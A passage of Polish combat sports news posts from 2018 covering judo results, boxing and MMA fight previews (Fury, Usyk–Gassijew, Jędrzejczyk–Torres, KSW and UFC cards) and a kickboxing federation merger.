Warto również wspomnieć, że na siódmych pozycjach uplasowały się Karolina Tałach (63kg) oraz Daria Pogorzelec (70kg).

W klasyfikacji medalowej triumfowała Białoruś – trzy złote i dwa brązy. Za gospodarzami zawodów Rosjanie – 2, 4, 7 i Holandia – 2, 0, 4. Polska na siódmym miejscu.

Fot. eju.net

KM

Fury chce wykonać ważny krok

Tyson Fury wraca do bokserskiego życia. W czerwcu pokonał Sefera Seferiego, z kolei 18 sierpnia w Windsor Park w Belfaście zmierzy się z Francesco Pianetą. Jeśli olbrzym z Wimslow wygra, przybliży się do rywalizacji o tytuł wagi ciężkiej.

Fury to jeden z najbardziej rozpoznawalnych, ale zarazem kontrowersyjnych pięściarzy. Brytyjczyk nie szczędzi cierpkich słów rywalom i jest przekonany o swojej wielkości. Jednak życie pokazało, że każdy ma chwile słabości. Wydawało się, że po pokonaniu Władimira Kliczko Fury na dobre rozsiądzie się na tronie wagi ciężkiej. Tak się jednak nie stało. Początkowo mówiło się o rewanżowym pojedynku nowego mistrza z Ukraińcem, jednak z powodu problemów zdrowotnych walkę przekładano. Ostatecznie do niej nie doszło. Okazało się, że Fury zmagał się z depresją oraz miał problemy z alkoholem i niedozwolonymi środkami. Ostatecznie oddał pasy mistrzowskie, a Brytyjska Federacja Bokserska tymczasowo odebrała mu licencję. Fury został ukarany dwuletnią dyskwalifikacją, która liczyła się od… grudnia 2015 roku.

Pogromca Władimira Kliczki wrócił z nadwagą na salę treningową, a następnie na ring. W pierwszym teście Fury pokonał Sefera Seferiego. Walka miała niecodzienny przebieg. Podczas pojedynku pięściarze uśmiechali się do siebie i pokazywali… język. Fury zaczął w końcu zadawać kolejne ciosy i zaznaczać swoją przewagę, a Seferi nie wyszedł do piątej rundy.

18 sierpnia olbrzym z Wilmslow stanie przed kolejnym wyzwaniem. W Belfaście zmierzy się z Francesco Pianetą. 33-latek urodzony we Włoszech w ostatnim starciu przegrał z Petarem Milasem, wcześniej pokonał Daso Simeunovicia. W swoim dorobku Pianeta zapisał mistrzostwo Unii Europejskiej EBU, rywalizował także o pasy mistrzowskie w kategorii królewskiej. 33-latek jest doświadczonym i solidnym pięściarzem, który jest w stanie sprawdzić formę Fury'ego. A Brytyjczyk zapowiada, że wygra. Jeśli stanie się inaczej, ma ucałować stopy rywala.

Coraz głośniej mówi się, że wygrana Fury'ego będzie przepustką do jego rywalizacji z Deontayem Wilderem. Mistrz WBC ma zjawić się w Belfaście, aby z bliska obserwować pojedynek. Oczami wyobraźni Fury już widzi się w ringu z Wilderem. Podkreśla również, że ich ewentualne starcie będzie walką „jakiej świat nie widział”. Ale najpierw Pianeta.

Fot. Tyson Fury Facebook

KM

Federacja DSF Kickboxing Challenge przejęła Ladies Fight Night!

Na specjalnie zwołanej konferencji prasowej w restauracji Na Skrajnej w Ząbkach prezes DSF Kickboxing Challenge Sławomir Duba i założyciel Ladies Fight Night Łukasz Chmal poinformowali o przejęciu LFN przez największą polską federację promującą kickboxing. Ogłoszono także najbliższe plany obydwu organizacjiKolejna numerowana gala DSF 17 odbędzie się 29 września w Hali Polonia w Częstochowie, a nie w Arenie Gliwice jak anonsowano wcześniej. Walką wieczoru będzie rewanżowy pojedynek mistrza kategorii do 81 kilogramów Kamila Jenela z poprzednim czempionem Kamilem Rutą.

– Doszliśmy do porozumienia z federacją Ladies Fight Night, która od dziś staje się częścią DSF Kickboxing Challenge. To przyspieszy rozwój obydwu federacji i da nam nową siłę do osiągnięcia jeszcze wyższych celów w rozwoju polskiego K-1. Negocjacje były trudne, ale liczy się ostateczny efekt tego porozumienia i to, że będziemy teraz mogli wspólnie rozwijać jedną i drugą federację – mówi Sławomi Duba, prezes DSF Kickboxing Challenge.

LFN 10 – pierwsza gala Ladies Fight Night pod nowym kierownictwem – odbędzie się 15 grudnia w Ząbkach. Imprezy jedynej kobiecej federacji mieszanych sportów walki w Europie nie będą już łączyły walk w formułach K-1 i MMA podczas jednego wieczoru, jak miało to miejsce w przeszłości. Nowy właściciel jest zdecydowany organizować osobne eventy dla każdej dyscypliny. Jest to spowodowane m.in. koniecznością spełnienia wszelkich warunków współpracy z Polskim Związkiem Kickboxingu. Gale LFN z walkami MMA będą się odbywały w klatce, a imprezy K-1 w ringu. Powstanie system umożliwiający wyróżniającym się zawodniczkom Ladies Fight Night zdobycie kontraktów w DSF Kickboxing Challenge. Na gali LFN 10 w Ząbkach zobaczymy wyłącznie potyczki w K-1.

"Przez 2,5 roku zorganizowaliśmy dziewięć zawodowych gal w sześciu miastach Polski. Nasze karty wypełniały czołowe zawodniczki z kraju i świata, które zostawiały w klatko-ringu całe serce. Poza galami zorganizowaliśmy obóz treningowy w legendarnym Mikes Gym w Amsterdamie oraz obozy treningowe w Polsce z takimi diamentami sportów walki jak Joanna Jędrzejczyk i Marcin Różalski. Przed nami jeszcze więcej. Miło nam poinformować, że wkraczamy dumnie do rodziny DSF Kickboxing Challenge – organizacji, która wskrzesiła nie tylko polski, ale i europejski kickboxing. Wiemy, że dzięki tej zmianie wkroczymy na światowy rynek w jeszcze bardziej spektakularnym stylu" – czytamy w oświadczeniu na Facebooku federacji Ladies Fight Night.

To nie wszystkie nowości w DSF Kickboxing Challenge. Planowana pierwotnie na 21 września wielka gala w Gliwicach z udziałem największych gwiazd polskiego K-1 została przeniesiona na przyszły rok. Zastąpi ją DSF 17 w Hali Polonia w Częstochowie (29 września) z walką wieczoru Jenel-Ruta 2. Z kolei DSF 18 odbędzie się 20 października w mieszczącej 7000 kibiców Netto Arenie w Szczecinie. Jedną z gwiazd tej imprezy będzie Marcin Parcheta. Jeszcze w tym roku rozpocznie się również turniej wagi ciężkiej z udziałem ośmiu zawodników. Pod uwagę brani są m.in. Tomasz Sarara, Michał Turyński, Arkadiusz Wrzosek, Tomasz Klimiuk, Michał Kita oraz zagraniczne gwiazdy. Zwycięzca otrzyma wysoką nagrodę pieniężną oraz walkę o tytuł mistrzowki DSF, który od czerwca 2017 roku należy do znakomitego Białorusina Piotra Romankiewicza.

– To będzie bardzo silnie obsadzony turniej. Zawsze powtarzam, że promujemy polski sport, więc zależy nam na jak największej ilości zawodników z Polski. Dostaliśmy już wiele zgłoszeń, również z zagranicy. Wkrótce stawka zostanie uzupełniona i odsłonimy nazwiska – obiecuje Sławomir Duba.

Choć najbliższa numerowana gala federacji DSF odbędzie się 29 września, to już cztery tygodnie wcześniej zawodowe walki K-1 będzie można zobaczyć przy ulicy Górczewskiej 30 w Warszawie podczas 8. Pikniku Miłośników Amerykańskiej Motoryzacji American Day.

– 1 września w Liberatorze odbędą się trzy zawodowe walki K-1. W dwóch z nich zmierzą się mężczyźni, w trzeciej rywalizować będą kobiety – zdradza prezes federacji DSF i LFN.

Harmonogram wydarzeń na najbliższe miesiące:

8. Piknik American Day – Liberator, Warszawa – 1 września

Gala DSF 17 – Hala Polonia, Częstochowa – 29 września

Gala DSF 18 – Netto Arena, Szczecin – 20 października

LFN 10 – Hala Sportowa, Ząbki – 15 grudnia

Khalidov rozbudził wyobraźnię

Takiej decyzji nikt się nie spodziewał. Mamed Khalidov postanowił zwakować pas mistrzowski KSW w wadze średniej. Tytuł będzie stawką turnieju, który odbędzie się podczas gali w Londynie.

Blisko trzy lata Mamed Khalidov zasiadał na tronie. Pas mistrzowski KSW w wadze średniej zdobył dokładnie 28 listopada 2015 roku w Krakowie. Urodzony w Groznym zawodnik potrzebował zaledwie 31 sekund na pokonanie Michała Materli. Khalidov tylko raz bronił pasa mistrzowskiego. W kolejnych występach w KSW prezentował się w superfight – pokonał Borysa Mańkowskiego i przegrał z Tomaszem Narkunem. A rywalizujący w wadze średniej czekali na mistrza. Ten postanowił jednak ustąpić miejsca.- W dniu dzisiejszym zwakowałem swój pas mistrzowski federacji KSW. Chciałbym życzyć powodzenia wszystkim zawodnikom którzy rozpoczną rywalizację o ten pas – poinformował Mamed Khalidov.

Decyzja Khalidova była zaskoczeniem, ale KSW przygotowało ciekawą formę wyłonienia nowego mistrza. 6 października w The SSE Arena dojdzie do turnieju wagi średniej. Zwycięzcy powalczą o pas. Na KSW 45: The Return to Wembley Michał Materla zmierzy się z Damianem Janikowskim, zaś Marcin Wójcik podejmie Scotta Askhama. W powietrzu czuć ogromne emocje. 34-letni szczecinian będzie miał okazję ponownie sięgnąć po pas wagi średniej, który stracił na rzecz Khalidova. Michał Materla rywalizuje w KSW już 12 lat. Zatem jest jednym z najbardziej doświadczonym zawodników polskiej federacji. Z 21 walk wygrał 17, jednak 6 października nie będzie miał łatwego zadania. Co prawda zmierzy się z „żółtodziobem” pod względem doświadczenia w MMA, jednak Damian Janikowski miał mocne wejście do KSW. Za brązowym medalistą olimpijskim z Londynu trzy walki w MMA. Janikowski wszystkie pojedynki wygrał przed czasem. Imponował szybkością, siłą ciosu i skutecznością. Czy doświadczony Materla będzie kolejną ofiarą byłego zapaśnika?

Po trzech wygranych Marcin Wójcik dostał szansę rywalizacji o pas mistrzowski w wadze półciężkiej. Na Stadionie Narodowym do poddania zmusił go Tomasz Narkun. W ostatnim występie, KSW 42 w Łodzi, Wójcik pokonał Hatefa Moeila. 6 października Polak stanie przed kolejnym wyzwaniem. Scott Askham to zawodnik z doświadczeniem w UFC, gdzie przegrał m.in. z Krzysztofem Jotko. W debiucie w KSW 30-letni Anglik znokautował Michała Materlę.

Rewanż

W Londynie dojdzie do pojedynku o pas mistrzowski w wadze półśredniej. Dricus Du Plessis ponownie zmierzy się z Roberto Solidciem, którego pokonał podczas KSW 43 i mógł cieszyć się z tytułu.

Fot. Mamed Khalidov Facebook

KM

Aldo myśli o zakończeniu kariery?

Podczas gali UFC on Fox 30 Jose Aldo zmierzy się z Jeremy'm Stephensem. Czy będzie to jeden z ostatnich pojedynków byłego mistrza wagi piórkowej?

31-letni Brazylijczyk ma za sobą trudny czas. W czerwcu ubiegłego roku w Rio de Janeiro stracił pas mistrzowski na rzecz Max Hollowaya. Pół roku później doszło do rewanżowego starcia, jednak ponownie górą był Amerykanin. Ostatni raz Aldo wzniósł ręce w geście triumfu ponad dwa lata temu, kiedy to decyzją sędziów pokonał Frankie Edgara.

28 lipca w Calgary Brazylijczyk stoczy 31 walkę w karierze, a dwunastą w UFC. Jego rywalem będzie Jeremy Stephens, który ma za sobą trzy wygrane z rzędu. Przed Aldo wyzwanie i próba przełamania. Być może sobotni pojedynek będzie jednym z ostatnich występów Brazylijczyka w karierze. Dlaczego? Brazylijczyk otwarcie przyznaje, że nie myśli o nowym kontrakcie w UFC. W ramach obecnego powinien stoczyć jeszcze cztery walki. – Nie chodzi mi o to, żeby po upływie obecnej umowy podpisać kolejną – przyznaje brazylijski zawodnik.

Przez pięć lat Aldo dominował w wadze piórkowej i efektownie odprawiał kolejnych pretendentów do tytułu. Na ostatniej prostej ponownie chce wejść na szczyt. – Myślę, że to jest łatwiejsze, ponieważ zbliża się koniec, więc musisz wejść na szczyt. Pracujesz ciężej, bo wiesz, że niebawem pewien etap się zamknie – powiedział dla MMAFighting.com Jose Aldo.

31-letni zawodnik stawia sobie jasny cel. – Marzę o zostaniu mistrzem i odejściu jako mistrz. To moja motywacja. Jestem dumny ze zwycięstw, nie akceptuję porażek. Kiedy przestanie tak być, nadejdzie moment, aby przestać – podkreśla Aldo.

Brazylijczyk liczy, że jeszcze będzie miał okazję rywalizować o pas mistrzowski. Na gali UFC 226 Max Holloway miał zmierzyć się z Brianem Ortegą, jednak z powodów zdrowotnych czempiona do walki nie doszło. W związku z tym amerykańska organizacja może rozważyć starcie o tymczasowy pas. To byłoby idealne rozwiązanie dla Aldo. Z pewnością krokiem w stronę realizacji zamierzeń będzie wygrana z Stephensem. Były mistrz zwraca również uwagę na aspekt zdrowia. W ciągu kariery zmagał się z różnymi urazami, ale wielokrotnie udowodnił, że ma charakter wojownika. – Pierwszym celem jest odzyskanie pasa, a później przemyślenie wszystkiego. Każdy sportowiec się tego boi. Zdrowie jest najważniejsze – wyjaśnia Brazylijczyk.

Fot. Jose Aldo Junior Facebook

KM

Czas na przełamanie

Przed Joanną Jędrzejczyk starcie z Tecią Torres. 28 lipca w Calgary podczas gali UFC on Fox 30 Polka będzie chciała wrócić na zwycięskie tory po dwóch porażkach z Rose Namajunas.

Ostatnie miesiące nie były najlepsze dla Jędrzejczyk. W listopadzie ubiegłego roku niespodziewanie straciła pas mistrzowski UFC w kategorii słomkowej na rzecz Rose Namajunas, która zwyciężyła w pierwszej rundzie. Polka upadła po lewym sierpowym, co wykorzystała Amerykanka i szybko wyprowadzała kolejne ciosy. Po 966 dniach olsztynianka przestała być mistrzynią. Jędrzejczyk skutecznie broniła pasa w pięciu potyczkach, co pozwoliło jej się stać czołową postacią MMA na świecie. 8 kwietnia 30-latka chciała powrócić na tron. W rewanżu również nie sprostała Namajunas, tym razem przegrała decyzją sędziów.

Jędrzejczyk poznała smak porażki. Ostatnie zwycięstwo w UFC odniosła ponad rok temu, kiedy to pokonała Jessicę Andrade. 28 lipca była mistrzyni UFC będzie chciała wrócić na zwycięską ścieżkę. Jędrzejczyk zmierzy się z Tecią Torres, która w tym roku przegrała z Jessicą Andrade.  28-letnia Amerykanka w UFC prezentuje się solidnie. Dotychczas odniosła sześć zwycięstw i poniosła dwie porażki. Torres znakomicie czuje się w stójce, często wyprowadza groźne kopnięcia. Warto dodać, że Torres z powodzeniem występowała w organizacji Invicta, gdzie pokonała m.in. Rose Namajunas. Jednak już w UFC przegrała z obecną mistrzynią kategorii słomkowej.

Jędrzejczyk zameldowała się w Calgary w niedzielę. Odlicza dni do walki z Torres i szlifuje formę, nad którą pracowała osiem tygodni. Dla Polki będzie to jedenaste starcie w UFC. Z pewnością waga starcia z Torres jest dla Jędrzejczyk ogromna. Po dwóch porażkach z Namajunas, olsztynianka musi się odbudować, aby ponownie myśleć o zaatakowaniu pasa mistrzowskiego. Za niecały miesiąc (18 sierpnia) Jędrzejczyk będzie obchodziła urodziny. Czy 28 lipca sprawi sobie prezent? Torres zapewne nie odpuści, ponieważ również będzie chciała mieć radosne urodziny, które przypadają… dwa dni wcześniej niż święto Jędrzejczyk.

Ciekawy wieczór

W walce wieczoru gali UFC on Fox 30 zmierzą się Eddie Alvarez i Dustin Poirier. Zawodnicy spotkają się po raz kolejny. Ich starcie na gali UFC 211 uznano za nierozstrzygnięte ze względu na nielegalny cios kolanem w wykonaniu Alvareza. Ciekawie zapowiada się również starcie Jose Aldo z Jeremy’m Stephensem. Były mistrz wagi piórkowej przegrał dwa ostatnie pojedynki i na wygraną czeka już ponad dwa lata. Z kolei Stephens ma na swoim koncie trzy wygrane z rzędu.

Fot. Joanna Jędrzejczyk Facebook

KM

Złota Karolina

Karolina Miller (70kg) wywalczyła złoty medal Pucharu Europy Juniorów w judo w Pradze. To największy sukces w dotychczasowych startach młodej Polki.

Ten rok jest wyjątkowy dla Karoliny Miller. W maju w Kownie zawodniczka AZS AWFiS Gdańsk zdobyła pierwszy medal Pucharu Europy Juniorów w karierze. Miller radziła sobie znakomicie. Pokonała trzy rywalki, ale w finale musiała uznać wyższość Holenderki Donji Vos. Z kolei w marcu Miller stanęła na najniższym stopniu mistrzostw Polski juniorów i juniorek.

Zawodniczka gdańskiego AZS AWFiS kontynuuje dobre występy. Praga okazała się szczęśliwym miejscem dla młodej Polki. W pierwszej walce Miller uporała się z Michele Johner, jednak nie był to łatwy pojedynek. Reprezentantka Szwajcarii była agresywna i zapisała na swoim koncie trzy shido. W kolejnych pojedynkach rywalkami Polki były Niemki. Wszystkie musiały uznać wyższość Miller przed czasem, która kolejno odprawiła Alexandrę Gantner, Sophie Brendicke oraz Alinę Boehm. Z tą ostatnią judoczka AZW AWiFS Gdańsk spotkała się w finale i do odniesienia zwycięstwa potrzebowała nieco ponad pół minuty.

W Pradze zaprezentowała się klubowa koleżanka Miller – Katarzyna Madajewska (+78kg). Zawodniczka AZS AWFiS Gdańsk może mówić o udanym sezonie. W Petersburgu i Gdyni stawała na najniższym stopniu podium. Z kolei w Kownie była o krok od medalu zajmując piąte miejsce. W Pradze Madajewska nie powtórzyła wcześniejszych wyników. Przegrała w pierwszej walce z Saetbyeol Park, a w repasażach pokonała Paulinę Dziopę i przegrała ze Svetlaną Sleznevą, co ostatecznie dało jej siódmą lokatę. Od zwycięstwa zmagania w Pradze rozpoczęła Natalia Kropska (63kg). Następnie judoczka GKS Czarni Bytom pokonała Anastasię Kolyadenkovą, jednak zatrzymała ją Koreanka Goeum Lee. W repasażach Polka walczyła ze zmiennym szczęściem i zajęła siódme miejsce.

Na dziewiątych pozycjach uplasowali się Paweł Drzymal (81kg) i Paweł Kejza (100kg), którzy nie poradzili sobie w repasażach.

W Pradze najlepiej wypadli Rosjanie, którzy zdobyli 12 medali, w tym cztery złote. Za ich plecami Azerbejdżan z dziewięcioma krążkami (2 złote) oraz Korea Południowa – sześć (2 złote).

KM

Cztery pasy na szali

21 lipca oczy bokserskiego świata zwrócą się na Stadion Olimpijski w Moskwie, gdzie odbędzie się finał pierwszej edycji World Boxing Super Series w wadze junior ciężkiej. Naprzeciw siebie staną Oleksandr Usyk i Murat Gassijew.

Do tego starcia miało dojść 11 maja w Arabii Saudyjskiej, ale na przeszkodzie stanęła kontuzja łokcia Ukraińca. Zaistniała sytuacja zmusiła organizatorów do znalezienia nowego terminu. Wybrano 21 lipca w Moskwie, czyli Gassijew będzie walczył na własnej ziemi. Wobec tego w trudniejszym położeniu wydaje się być Usyk, jednak dla mistrza WBO i WBC nie może to stanowić problemu. W końcu jest pięściarzem prezentującym najwyższy poziom. Warto dodać, że dotychczas 31-letni Ukrainiec rywalizował w WBSS wyłącznie na… terytorium rywali. Nie sprawiło mu to problemu, aby w dziesiątej rundzie w Berlinie znokautować Marco Hucka. Walka z Mairisem Briedisem w Rydze miała nieco inny przebieg, ale zakończyła się również po myśli Usyka.

Gassijew w WBSS prezentuje wysoki poziom. W ćwierćfinale w trzeciej rundzie powalił na deski Krzysztofa Włodarczyka. Ogromnych emocji dostarczyło półfinałowe starcie Rosjanina z Yunierem Dorticosem. Piekielnie wyniszczająca walka, w której nie brakowało potężnych ciosów. W 12. rundzie Kubańczyk padł na deski i Gassijew znalazł się w finale. 24-latek urodzony w Władykaukazie w grudniu 2016 roku sięgnął po pas mistrzowski IBF pokonując Denisa Lebiediewa. W lutym dołożył tytuł WBA. Gassijew prezentuje się znakomicie ringu, imponuje zwłaszcza siła jego ciosów. Rosjanin ma 26 wygranych na koncie, w tym 19 przez nokaut. Jego sobotni rywal, choć jest starszy – stoczył 14 zawodowych pojedynków.

Stawka finału WBSS w wadze junior ciężkiej na Stadionie Olimpijskim w Moskwie jest ogromna. Na szali pojawią się tytuły mistrzowskie WBO, WBC, IBF i WBA oraz pas magazynu The Ring oraz Puchar Muhammada Alego. Zwycięzca przejdzie do historii i stanie się prawdziwą gwiazdą. Pytanie – czy walka będzie partią szachów, czy otwartym starciem? Pójście na wymianę nie będzie dobrym ruchem ze strony Usyka, gdyż potężny cios Gassijewa natychmiast może zakończyć rywalizację. Ukrainiec jest inteligentnym pięściarzem i potrafi spokojnie prowadzić walkę, aby ukłuć w kluczowym momencie. Z kolei Gassijew jest piekielnie niebezpieczny, jednak z Dorticosem pokazał, że jest w stanie na ostatniej prostej efektownie zakończyć walkę. Szykuje się pojedynek godny finału.

Fot. Александр Усик / Usyk Facebook

KM

FEN 21 Aftermovie

FEN 21 Wrocław Aftermovie! 9 walk, 2 o pasy mistrzowskie, znakomite pojedynki! Wśród zawodników m.in.: Grzebyk, Pławecki, Łopaczyk, Jędraszczyk, Zontek, Kopera, Głąb, Somerfeld, Dusza, Ciepliński, Leśko! 25 maja 2018 r., Hala Orbita.

[kod]

Czy to będzie polski wieczór w Hamburgu?

22 lipca w Hamburgu odbędzie się gala UFC Fight Night 134. W karcie walk znalazło się trzech Polaków: Marcin Tybura, Bartosz Fabiński i Damian Stasiak. Czy zapiszą na swoim koncie kolejne zwycięstwa w UFC?

W czwartą wygraną w najlepszej organizacji MMA na świecie mierzy Marcin Tybura. 32-letni Polak będzie chciał się zrehabilitować za dwie porażki z rzędu – z Fabricio Werdumem i Derrickiem Lewisem. W podobnej sytuacji jest rywal Tybury – Stefan Struve. Holender zanotował porażki z Alexandrem Volkovem i Andrejem Arlovskim. Ostatnie zwycięstwo Struve odniósł w starciu z Danielem Omielańczukiem, kiedy to wygrał przez duszenie przed czasem. Holender zdecydowaną większość pojedynków kończy przed czasem, co jest ostrzeżeniem dla Tybury. Dodatkowo 30-letni Struve jest najwyższym zawodnikiem w UFC – 214 cm, co może sprawić Polakowi problemy. Tybura w UFC pokazał jednak, że jest klasowym zawodnikiem, o czym najlepiej świadczy zwycięstwo w starciu z Arlovskim.

Długo przyszło czekać Bartoszowi Fabińskiemu na kolejny występ w UFC. 32-latek po raz ostatni zaprezentował się na gali UFC Fight Night 78 w Monterrey w lipcu 2015, kiedy pokonał Hectora Urbinę. To był dla niego drugi występ w amerykańskiej organizacji, wcześniej Polak zapisał na swoim koncie wygraną w Krakowie. W Hamburgu rywalem Fabińskiego będzie Emil Meek, który ostatnio przegrał z Kamaru Usmanem. Norweg w UFC zanotował jedno zwycięstwo – na UFC 206 pokonał Jordana Meina.

Po dwóch porażkach z rzędu do oktagonu wejdzie Damian Stasiak. Popularny "Webster" doskonale zna smak rywalizacji w UFC, bo stoczy  już szósty pojedynek w amerykańskiej organizacji. Polak zmierzy się z Chińczykiem Pingyuan Liu, dla którego będzie to debiut w UFC. Zawodnicy znają się  z treningów w Jackson Wink MMA.

W Hamburgu zaprezentuje się znany z występów w KSW David Zawada. Rywalem 27-letniego Niemca będzie Anglik Danny Roberts. W karcie walk UFC Fight Night 134 znaleźli się również Damir Hadzović i Nick Hein. Obaj mają na koncie wygrane w starcie z Polakami – odpowiednio Marcinem Heldem i Łukaszem Sajewskim.

W walce wieczoru gali w Hamburgu zmierzą się Mauricio Rua i Anthony Smith. Blisko 37-letni Brazylijczyk to były mistrz UFC w wadze półciężkiej, który ma passę trzech zwycięstw z rzędu. Z kolei Smith w ostatnim starciu szybko znokautował Rashada Evansa.

Fot. Marcin Tybura Facebook

KM

Szpilka zmierzy się z Millerem?

W ubiegłym roku Jarrell Miller pokonał w Nassau Coliseum Mariusza Wacha. Czy teraz na jego drodze stanie Artur Szpilka? Według doniesień boxingscene.com w październiku Amerykanin miałby spotkać się z Polakiem.

30-letni Miller ma ogromne ambicje i chce zawojować wagę ciężką. Amerykanin mierzy w starcie z mistrzem świata IBF, IBO, WBA i WBO Anthonym Joshuą, ale musi uzbroić się w cierpliwość. 22 września "AJ" spotka się na Wembley z Aleksandrem Powietkinem. Z kolei Miller kolejną walkę ma zaplanowaną na 6 października. Z kim zmierzy się w Chicago? Niewykluczone, że jego rywalem będzie Artur Szpilka.

Dla "Szpili" były to trzynasty pojedynek na amerykańskiej ziemi. Dotychczas wygrał dziewięć walk, a trzy przegrał – z Bryantem Jenningsem, Deontayem Wilderem i Adamem Kownackim. Po dwóch porażkach z rzędu kariera polskiego pięściarza znalazła się na zakręcie. Wygrana na Stadionie Narodowym z Dominickiem Guinnem pozwoliła złapać oddech Szpilce i nadal liczy się on w wadze ciężkiej. Starcie z Millerem byłoby dla 29-latka wyzwaniem, ale i szansą. Akcje Amerykanina w wadze ciężkiej stoją coraz wyżej. Miller wygrał 21 walk, w tym 18 przez nokaut i zanotował remis w pojedynku z Joey'em Dawejko, ale było to pięć lat temu. W ostatnim czasie Miller uporał się z trzema byłymi pretendentami do tytułu mistrzowskiego. Amerykanin odprawił Geralda Washingtona i Mariusza Wacha (wygrane przed czasem) oraz na punkty Johanna Duhaupasa.

Kilka miesięcy temu Miller podpisał kontrakt z Eddiem Hearnem na występy na platformie DAZN, która ma dostarczać miłośnikom boksu produkty najwyższej jakości. Pierwszy pojedynek Miller stoczy 6 października. Logiczne wydaje się, że w Chicago jego rywalem mógł być Polak, który zna specyfikę rywalizacji w USA. Dodatkowo – z pewnością występ Szpilki wzbudzi zainteresowanie licznej Polonii.

Amerykanin myśli o rywalizacji ze Szpilką i jest pewny swego. – Potrzebuję teraz dobrego nokautu. Muszę nadal dominować i iść do przodu. Każda walka niesie ze sobą niebezpieczeństwo, ale znokautuję go – podkreśla Miller.

Warto nadmienić, że dobrym kolegą Amerykanina jest Adam Kownacki, z którym Szpilka przegrał. Z pewnością "Baby Face" udzieli kilku rad Amerykaninowi. – Szpilka nie trenował na pełnych obrotach, bo popatrzył na Adama i zlekceważył go. Może Kownacki nie wygląda na atletę, ale ma zdrowie i na każdym wspólnym treningu daje mi wycisk – podkreśla Miller.

KM

Lysenko trzeci w Saarbruecken

Oleksii Lysenko (100kg) zajął trzecie miejsce w zawodach European Open w judo w Saarbruecken. To pierwsze podium 21-letniego zawodnika w polskich barwach. W Saarbruecken trzecie miejsce wywalczyła również Julia Kowalczyk (57kg).

Lysenko przyjechał do Polski po ukończeniu szkoły średniej. Zawodnik chciał doskonalić swój talent i trafił do AZS AWF Warszawa. Na Ukrainie prezentował swoje umiejętności zdobywając tytuły mistrzowskie w rywalizacji kadetów, juniorów i młodzieżowców. Lysenko zapisał na swoim koncie także wicemistrzostwo kraju w 2016 roku. W Polsce 21-latek radzi sobie równie dobrze. Najlepszym dowodem jest wicemistrzostwo kraju wywalczone w 2017 roku w Opolu. Teraz Lysenko zapisał na swoim koncie kolejny sukces – po raz pierwszy w polskich barwach stanął na podium na poziomie międzynarodowym.

Judoka urodzony w Zaporożu start w Saarbruecken rozpoczął fantastycznie. Przed czasem uporał się z Danielem Herbstem i Jonathanem Fagerhillem. Na pokonanie Szweda potrzebował nieco ponad pół minuty. Ciekawy przebieg miało starcie 21-latka z Johen Jayne'm. Obaj zdobyli po waza ari, ale kolejna udana akcja w wykonaniu reprezentanta Polski i wygrana przez ippon. W półfinale Lysenko przegrał z Alexandrem Iddirem, który miał dobre wspomnienia z Saarbruecken, gdyż rok temu był trzeci. Lysenko pozostał w grze o brązowy medal. W mgnieniu oka uporał się z Karlem-Richardem Freyem i mógł cieszyć się z miejsca na podium.

W gronie medalistów znalazła się również Julia Kowalczyk. Zawodniczka Polonii Rybnik czekała na kolejne podium w startach seniorskich ponad rok. W marcu 2017 roku zajęła trzecie miejsce w zawodach Grand Slam w Baku. Od początku rywalizacji w Saarbruecken Polka prezentowała się pewnie. Kowalczyk wygrała trzy pojedynki i znalazła się w półfinale. Polka nie sprostała jednak brązowej medalistce mistrzostw Europy 2017 Minie Libeer. W starciu o brąz Kowalczyk przed czasem uporała się z Ines Beischmidt.

Blisko podium w Saarbruecken była Urszula Hofman (78kg), która uplasowała się na piątej pozycji. Siódme miejsca wywalczyli Łukasz Kiełbasiński (66kg) i Damian Stępień (81kg).

W klasyfikacji medalowej triumfowali Rosjanie, którzy zdobyli 10 krążków (4 złote, 1 srebrny i 5 brązowych). Za nimi Francuzi (2, 4, 5) oraz Niemcy (2, 1, 4).

Fot. zdjęcie poglądowe

KM

Szykuje się hit w kobiecym MMA

Cristiane "Cris Cyborg" Justino i Amanda Nunes staną naprzeciwko siebie. Podstawowe pytanie brzmi – kiedy? Obie poinformowały, że są gotowe do wielkiej walki, ale podały… inne terminy.

Od blisko roku Justino znajduje się w posiadaniu pasa mistrzowskiego kategorii piórkowej. Dotychczas broniła go dwukrotnie. Z kolei Nunes zdobyła pasa mistrzowski w wadze koguciej na gali UFC 200 pokonując Mieshę Tate. Brazylijka odprawiła trzy rywalki, które próbowały odebrać jej tytuł. Nie da się ukryć, że starcie dwóch zawodniczek z Kraju Kawy byłoby prawdziwym hitem. Wszystkie znaki na niebie i ziemi wskazują, że walka jest blisko. "Cyborg" na swoim Twitterze poinformowała o gotowości do walki ze swoją rodaczką. – Zgodziłam się po raz drugi na walkę z Amandą Nunes. 8 września na UFC 228 w Dallas. Moja ostatnia walka odbyła się cztery miesiące temu. Jestem gotowa do rywalizacji – poinformowała 33-latka.

Zatem można zacierać ręce. Nunes również pochwaliła się zdjęciem z podpisywania kontraktu, jednak termin pojedynku jest inny. – Czekam na Ciebie Cris Cyborg na UFC 232 29 grudnia. Kontrakt podpisany – podała mistrzyni UFC w wadze koguciej.

W tej sytuacji wypada tylko podrapać się po głowie i zapytać – o co chodzi? Pewne jest, że zawodniczki jasno wyraziły wolę spotkania się w oktagonie. Justino i Cyborg odprawiły najgroźniejsze rywalki w swoich kategoriach wagowych, więc naturalne stało się, że w środowisku zaczęły się pojawiać głosy o zestawieniu ich w super walce. Początkowo planowano starcie na galę UFC 226, która odbyła się 6 lipca. Już w styczniu „Cyborg” wyraziła gotowość walki z Nunes, jednak do podpisania kontraktu nie doszło.

Ostatni pojedynek Justino stoczyła w marcu, kiedy to wypunktowała w pierwszej rundzie Yanę Kunitskayę. Z kolei Nunes w maju pokonała Raquel Pennington. Wydaje się, że lipcowy termin super walki dwóch mistrzyń byłby ryzykowny ze względu na ewentualną kontuzję bądź zbyt krótki czas przygotowań. Z drugiej strony dobrze, że starcie Justino i Nunes odbędzie się w późniejszym terminie. Na UFC 226 w Las Vegas hitem było starcie Stipe Miocica i Daniela Cormiera. W takim przypadku jedna z walk znalazłaby się w cieniu drugiej. A tak każda będzie prawdziwym hitem i wielkim wydarzeniem w świecie MMA.

Teraz wiadomo, że Justino i Nunes są gotowe podjąć wyzwanie. Nieco humorystycznie można powiedzieć, iż obie podały odpowiadające im terminy. Kwestią podstawową jest osiągnięcie porozumienia i potwierdzenie walki.

KM

Machina ruszyła

Wydaje się, że walka podwójnego mistrza UFC Daniela Cormiera z Brockiem Lesnarem jest nieunikniona. Jedyną przeszkodą pozostaje zawieszenie 41-latka, które kończy się na początku 2019 roku.

